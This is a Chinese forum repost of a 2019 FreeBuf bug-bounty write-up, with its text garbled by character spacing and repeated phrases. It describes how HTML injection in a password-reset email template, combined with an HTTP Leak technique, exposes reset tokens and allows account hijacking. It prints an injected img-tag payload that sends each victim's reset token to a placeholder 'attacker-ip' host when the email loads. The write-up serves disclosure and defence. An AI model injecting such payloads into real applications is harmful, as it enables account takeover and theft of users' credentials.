搜索

[14036] 2019-04-27_HTTPLeak实现任意账户劫持的漏洞解析

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2019-04-27_HTTPLeak实现任意账户劫持的漏洞解析 H T T P   L e a k 实 现 任 意 账 户 劫 持 的 漏 洞 解 析 c l o u d s   F r e e B u f   2 0 1 9 - 0 4 - 2 7 本 文 分 享 的 是 ， 作 本 文 分 享 的 是 ， 作 者 在 参 与 某 次 漏 洞 邀 请 测 试 项 目 中 ， 发 现 目 标 应 用 服 务 的 密 码 重 置 请 求 存 在 者 在 参 与 某 次 漏 洞 邀 请 测 试 项 目 中 ， 发 现 目 标 应 用 服 务 的 密 码 重 置 请 求 存 在 H T M L 注 入 漏 洞 （ 注 入 漏 洞 （ H T M L i n j e c t i o n ） ， 通 过 进 一 步 的 ） ， 通 过 进 一 步 的 H T T P   L e a k 攻 击 构 造 ， 获 取 到 账 户 的 密 码 重 置 攻 击 构 造 ， 获 取 到 账 户 的 密 码 重 置 T o k e n ， 以 此 间 接 实 现 任 意 账 户 劫 ， 以 此 间 接 实 现 任 意 账 户 劫 持 。 （ 出 于 保 密 原 则 ， 文 中 涉 及 到 的 目 标 应 用 服 务 用 持 。 （ 出 于 保 密 原 则 ， 文 中 涉 及 到 的 目 标 应 用 服 务 用 a p p . c o m 代 替 ） 。 代 替 ） 。 密 码 重 置 请 求 中 的 密 码 重 置 请 求 中 的 H T M L 注 入 注 入 在 针 对 目 标 应 用 服 务 的 密 码 重 置 功 能 测 试 过 程 中 ， 我 发 现 在 服 务 端 和 我 的 重 置 密 码 测 试 账 户 之 间 存 在 以 下 P O S T 请 求 ， 即 它 会 自 动 向 重 置 密 码 的 用 户 邮 箱 发 送 以 下 邮 件 ， 提 醒 用 户 点 击 相 应 的 重 置 链 接 [ R E S E T   L I N K ] 去 修 改 密 码 ， 该 请 求 是 一 个 H T M L 邮 件 格 式 ： 仔 细 看 ， 可 以 发 现 ， 其 中 的 e m a i l B o d y 使 用 的 是 模 板 样 式 ， 所 以 ， 接 下 来 ， 我 们 就 来 看 看 这 里 它 能 不 能 被 利 用 ， 能 否 向 其 中 注 入 一 些 东 西 。 因 此 ， 我 在 其 中 插 入 了 一 个 标 签 内 容 ， 如 下 ：
这 样 一 来 ， 在 我 的 重 置 密 码 测 试 用 户 邮 箱 中 ， 收 到 了 以 下 邮 件 ， 注 意 看 ， 在 我 新 添 加 的 c l i c k 之 后 ， 是 密 码 重 置 需 要 点 击 的 密 码 修 改 链 接 ， 也 就 是 P O S T 请 求 中 的 [ R E S E T - L I N K ] ： 很 明 显 ， 目 标 应 用 服 务 未 对 H T M L 邮 件 模 板 的 用 户 输 入 做 安 全 过 滤 ， 导 致 e m a i l B o d y 元 素 可 被 攻 击 者 控 制 ， 这 是 一 种 典 型 的 H T M L 注 入 漏 洞 。 但 在 这 里 ， 能 产 生 什 么 影 响 呢 ?   此 时 ， 我 突 然 想 到 了 H T T P   L e a k 攻 击 方 法 ， 可 以 用 这 种 方 式 来 看 看 是 否 存 在 相 关 的 信 息 泄 露 ， 或 许 能 在 其 中 获 取 到 对 应 账 户 的 密 码 重 置 T o k e n 。 H T T P   L e a k 攻 击 简 介 攻 击 简 介 当 前 W e b 技 术 下 包 含 了 大 量 H T M L 元 素 和 属 性 ， 这 些 H T M L 元 素 和 属 性 会 请 求 一 些 外 部 资 源 ， 而 在 它 们 的 H T T P 请 求 过 程 中 ， 可 能 存 在 潜 在 的 敏 感 信 息 泄 露 。 为 此 ， 德 国 著 名 网 络 安 全 公 司 C u r e 5 3 发 起 了 名 为 H T T P   L e a k s 的 攻 击 方 法 研 究 项 目 （ 项 目 参 见 G i t h u b   - H t t p L e a k s ） ， 其 攻 击 方 法 目 的 在 于 ， 枚 举 出 各 类 H T T P 请 求 中 可 能 存 在 的 信 息 泄 露 问 题 。 另 外 ， 某 些 场 景 下 ， 还 能 利 用 H T T P   L e a k 绕 过 C S P 防 护 机 制 ， 如 @ f i l e d e s c r i p t o r 的 《 C S P   2 0 1 5 》 ， 以 及 @ i n t i d c 大 神 的 《 H T M L   i n j e c t i o n   c a n   l e a d   t o   d a t a   t h e f t 》 。 就 比 如 ， 在 H T T P 请 求 涉 及 的 一 些 H T M L 邮 件 格 式 中 ， 如 果 存 在 H T T P   L e a k 问 题 ， 那 么 ， 可 以 利 用 它 来 知 道 收 信 人 是 否 打 开 或 者 阅 读 了 邮 件 ； 还 有 一 些 W e b 代 理 工 具 ， 它 们 声 称 可 以 用 “ 匿 名 ” 的 方 式 去 访 问 某 些 网 站 ， 但 一 些 H T M L 元 素 或 属 性 的 重 写 过 程 中 ， 就 会 涉 及 到 外 部 资 源 的 H T T P 请 求 ， 如 果 这 其 中 存 在 信 息 泄 露 问 题 ， 那 么 ， 其 声 称 的 “ 匿 名 ” 保 护 也 就 无 从 谈 起 了 。 构 造 构 造 H T T P   L e a k 攻 击 攻 击 P a y l o a d 在 此 ， 我 们 需 要 了 解 H T M L 邮 件 格 式 模 板 （ 可 点 此 查 看 E m a i l   T e m p l a t e s ） ， 其 中 的 密 码 重 置 请 求 模 板 如 下 ： - - - S u b j e c t :   R e t r i e v e   y o u r   p a s s w o r d   o n   { {   s e t t i n g s . b u s i n e s s A d d r e s s . c o m p a n y   } } . - - - < ! D O C T Y P E   h t m l >
结 合 前 述 密 码 重 置 请 求 的 H T M L 邮 件 格 式 注 入 漏 洞 ， 我 们 可 以 在 [ R E S E - T L I N K ] 之 前 插 入 以 下 格 式 的 P a y l o a d ： < i m g   s r c = ” h t t p : / / a t t a c k e r - i p / ? i d = 注 意 看 ， 这 种 插 入 最 后 就 形 成 了 ： < i m g   s r c = ” h t t p : / / a t t a c k e r - i p / ? i d = “ { {   R E S E T - L I N K   } } ” 其 中 ， 第 一 对 双 引 号 的 闭 合 区 间   “ h t t p : / / a t t a c k e r - i p / ? i d = “   成 为 了 最 终 的 密 码 重 置 点 击 链 接 ， 也 就 是 说 ， 受 害 者 收 到 密 码 重 置 请 求 邮 件 后 ， 他 点 击 的 密 码 重 置 链 接 将 会 是 攻 击 者 控 制 的 网 站 h t t p : / / a t t a c k e r - i p / ， 这 样 一 来 ， 目 标 应 用 产 生 的 密 码 重 置 t o k e n 就 会 发 送 到 攻 击 者 控 制 的 网 站 h t t p : / / a t t a c k e r - i p / 。 这 里 ， 由 于 插 入 的 < i m g   s r c = ” h t t p : / / a t t a c k e r - i p / ? i d =   伪 装 成 一 张 图 片 元 素 ， 所 以 ， 实 际 上 ， 只 要 受 害 者 打 开 密 码 重 置 请 求 邮 件 ， 不 需 要 点 击 其 中 的 重 置 链 接 ， 当 邮 件 体 发 起 图 片 加 载 时 ， 就 能 自 动 请 求 攻 击 者 网 站 ， 实 现 密 码 重 置 t o k e n 向 h t t p : / / a t t a c k e r - i p / 的 发 送 ， 如 下 ： 漏 洞 影 响 漏 洞 影 响 < h t m l > < h e a d > < / h e a d > < b o d y   s t y l e = " f o n t   f a m i l y :   A r i a l ;   f o n t - s i z e : 1 2 p x ; l i n e - h e i g h t : 3 2 p x ; ; " > < d i v >         < p >                 Y o u   h a v e   r e q u e s t e d   a   p a s s w o r d   r e s e t ,   p l e a s e   f o l l o w   t h e   l i n k   b e l o w   t o   r e s e t   y o u r   p a s s w o r d .         < / p >         < p >                 P l e a s e   i g n o r e   t h i s   e m a i l   i f   y o u   d i d   n o t   r e q u e s t   a   p a s s w o r d   c h a n g e .         < / p >         < p >                 < a   h r e f = " { {   R E S E T - L I N K   } } " >                         F o l l o w   t h i s   l i n k   t o   r e s e t   y o u r   p a s s w o r d .                 < / a >         < / p > < / d i v > < / b o d y > < / h t m l >
获 得 了 其 他 账 户 的 密 码 重 置 t o k e n ， 那 么 就 可 以 间 接 操 作 ， 实 现 对 其 他 账 户 的 劫 持 了 。 目 前 ， 就 从 我 的 测 试 来 看 ， 除 G m a i l   和 Y a h o o 外 ， 有 很 多 主 流 的 邮 件 服 务 商 大 多 都 存 在 这 种 H T M L 注 入 + H T T P   L e a k 的 问 题 ， 从 防 护 层 面 来 说 ， 需 要 对 H T M L 邮 件 模 板 的 用 户 可 输 入 和 编 辑 功 能 进 行 安 全 过 滤 检 查 。 2 0 1 9 . 1 . 8   漏 洞 上 报 2 0 1 9 . 1 . 1 0   漏 洞 分 类 修 复 2 0 1 9 . 1 . 1 0   漏 洞 赏 金 发 放 * 参 考 来 源 ： 参 考 来 源 ： m e d i u m ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 推 荐 阅 读 推 荐 阅 读
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理